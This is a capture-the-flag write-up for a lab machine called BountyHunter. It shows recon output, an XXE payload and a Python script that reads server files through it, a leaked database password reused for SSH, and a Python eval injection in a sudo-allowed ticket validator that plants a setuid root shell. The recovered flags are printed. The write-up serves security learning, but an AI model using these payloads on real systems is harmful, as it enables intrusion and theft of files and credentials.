BountyHunter

Recon

nmap_scan.log
Open 10.129.122.193:22
Open 10.129.122.193:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.129.122.193

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLosZOXFZWvSPhPmfUE7v+PjfXGErY0KCPmAWrTUkyyFWRFO3gwHQMQqQUIcuZHmH20xMb+mNC6xnX2TRmsyaufPXLmib9Wn0BtEYbVDlu2mOdxWfr+LIO8yvB+kg2Uqg+QHJf7SfTvdO606eBjF0uhTQ95wnJddm7WWVJlJMng7+/1NuLAAzfc0ei14XtyS1u6gDvCzXPR5xus8vfJNSp4n4B5m4GUPqI7odyXG2jK89STkoI5MhDOtzbrQydR0ZUg2PRd5TplgpmapDzMBYCIxH6BwYXFgSU3u3dSxPJnIrbizFVNIbc9ezkF39K+xJPbc9CTom8N59eiNubf63iDOck9yMH+YGk8HQof8ovp9FAT7ao5dfeb8gH9q9mRnuMOOQ9SxYwIxdtgg6mIYh4PRqHaSD5FuTZmsFzPfdnvmurDWDqdjPZ6/CsWAkrzENv45b0F04DFiKYNLwk8xaXLum66w61jz4Lwpko58Hh+m0i4bs25wTH1VDMkguJ1js=
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKlGEKJHQ/zTuLAvcemSaOeKfnvOC4s1Qou1E0o9Z0gWONGE1cVvgk1VxryZn7A0L1htGGQqmFe50002LfPQfmY=
|   256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJeoMhM6lgQjk6hBf+Lw/sWR4b1h8AEiDv+HAbTNk4J3
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

Only link going to other page is /portal.php

Writeup.png

Looks like it's in development and /log_submit.php is available only.

Writeup-1.png

The pseudo report is sent as Base64 blob which decodes to XML

Writeup-2.png

We could test for XXE vulnerability.

https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE x [<!ENTITY y SYSTEM "/etc/passwd"> ]>
<bugreport>
	<title>&y;</title>
	<cwe>69</cwe>
	<cvss>9.9</cvss>
	<reward>1000</reward>
</bugreport>

Recipe: To Base64 (Standard) -> URL Encode (All)

Writeup-3.png
from requests import Session
from base64 import b64decode, b64encode
from bs4 import BeautifulSoup as BS
import readline

URL = 'http://10.129.122.193/tracker_diRbPr00f314.php'
PAYLOAD = '''
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE x [<!ENTITY y SYSTEM "php://filter/convert.base64-encode/resource=LFI"> ]>
<bugreport>
    <title>&y;</title>
    <cwe>69</cwe>
    <cvss>9.9</cvss>
    <reward>1000</reward>
</bugreport>
'''.strip()

def get_payload(file):
    return b64encode(PAYLOAD.replace('LFI', file).encode()).decode()


with Session() as session:
    # session.proxies = {'http': 'http://127.0.0.1:8080'}
    
    with open('./t.log', 'a') as f:
        while True:
            resp = session.post(URL, data={'data': get_payload(input('Filename: '))})
            output = BS(resp.text, 'html.parser').find_all('td')[1].text
            try:
                output = b64decode(output).decode()
            except:
                output = "Failed"

            output = output + '- ' * 16
            print(output)
			print(output, file=f, flush=True)
Filename: /var/www/html/index.php
...
<li class="nav-item mx-0 mx-lg-1"><a class="nav-link py-3 px-0 px-lg-3 rounded js-scroll-trigger" href="portal.php">Portal</a></li>
<!-- To configure the contact form email address, go to mail/contact_me.php and update the email address in the PHP file on line 19.-->
...
Filename: /var/www/html/portal.php
Filename: /var/www/html/log_submit.php
Filename: /var/www/html/tracker_diRbPr00f314.php 
...

We are able to read php file, but there's no mention of configuration or database.

Filename: /etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
└─$ feroxbuster -u 'http://10.129.122.193' -w /usr/share/seclists/Discovery/Web-Content/common.txt -n -x php
200      GET       69l      210w     2424c http://10.129.122.193/js/scripts.js
200      GET      195l      683w    66699c http://10.129.122.193/assets/img/portfolio/cabin.png
200      GET      122l      415w    30702c http://10.129.122.193/assets/img/portfolio/cake.png
200      GET      150l      506w    43607c http://10.129.122.193/assets/img/portfolio/submarine.png
200      GET        7l     1031w    84152c http://10.129.122.193/resources/bootstrap.bundle.min.js
200      GET       80l      248w     3228c http://10.129.122.193/resources/monsterat.css
200      GET        5l       15w      125c http://10.129.122.193/portal.php
200      GET       64l      232w     2682c http://10.129.122.193/resources/lato.css
200      GET        1l       44w     2532c http://10.129.122.193/resources/jquery.easing.min.js
200      GET      248l      761w    12807c http://10.129.122.193/assets/img/avataaars.svg
200      GET      178l      601w    46744c http://10.129.122.193/assets/img/portfolio/game.png
200      GET        8l       29w    28898c http://10.129.122.193/assets/img/favicon.ico
200      GET      139l      444w    35267c http://10.129.122.193/assets/img/portfolio/safe.png
200      GET      151l      616w    50204c http://10.129.122.193/assets/img/portfolio/circus.png
200      GET        2l     1297w    89476c http://10.129.122.193/resources/jquery.min.js
200      GET    10240l    19373w   187375c http://10.129.122.193/css/styles.css
301      GET        9l       28w      317c http://10.129.122.193/assets => http://10.129.122.193/assets/
200      GET        5l   108280w  1194961c http://10.129.122.193/resources/all.js
200      GET      388l     1470w    25169c http://10.129.122.193/
301      GET        9l       28w      314c http://10.129.122.193/css => http://10.129.122.193/css/
200      GET        0l        0w        0c http://10.129.122.193/db.php
200      GET      388l     1470w    25169c http://10.129.122.193/index.php
301      GET        9l       28w      313c http://10.129.122.193/js => http://10.129.122.193/js/
200      GET       20l       63w      617c http://10.129.122.193/log_submit.php
301      GET        9l       28w      320c http://10.129.122.193/resources => http://10.129.122.193/resources/
Filename: /var/www/html/db.php
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

SSH (22)

Creds: development:m19RoAU0hP41A1sTsq6K

└─$ ssh development@10.129.122.193
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)

User.txt

development@bountyhunter:~$ cat user.txt
f3e1eedad7b538cb864cdb7b9be6386e

Privilege Escalation

development@bountyhunter:~$ cat contract.txt
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

eval is a dangerous function in Python, to get there we need a ticket which will have correct format.

validationNumber = eval(x.replace("**", ""))

https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes

development@bountyhunter:~$ nano /tmp/letmein.md
development@bountyhunter:~$ cat /tmp/letmein.md
# Skytrain Inc Ticket
## Ticket to Wonderland
__Ticket Code:__
**4 + __import__('os').system('install -m4777 /bin/bash /tmp/rootbash')**
development@bountyhunter:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(development) gid=1000(development) euid=0(root) groups=1000(development)

Root.txt

rootbash-5.0# cat /root/root.txt
1771ebb5ece8512526e48802454ae003

Last updated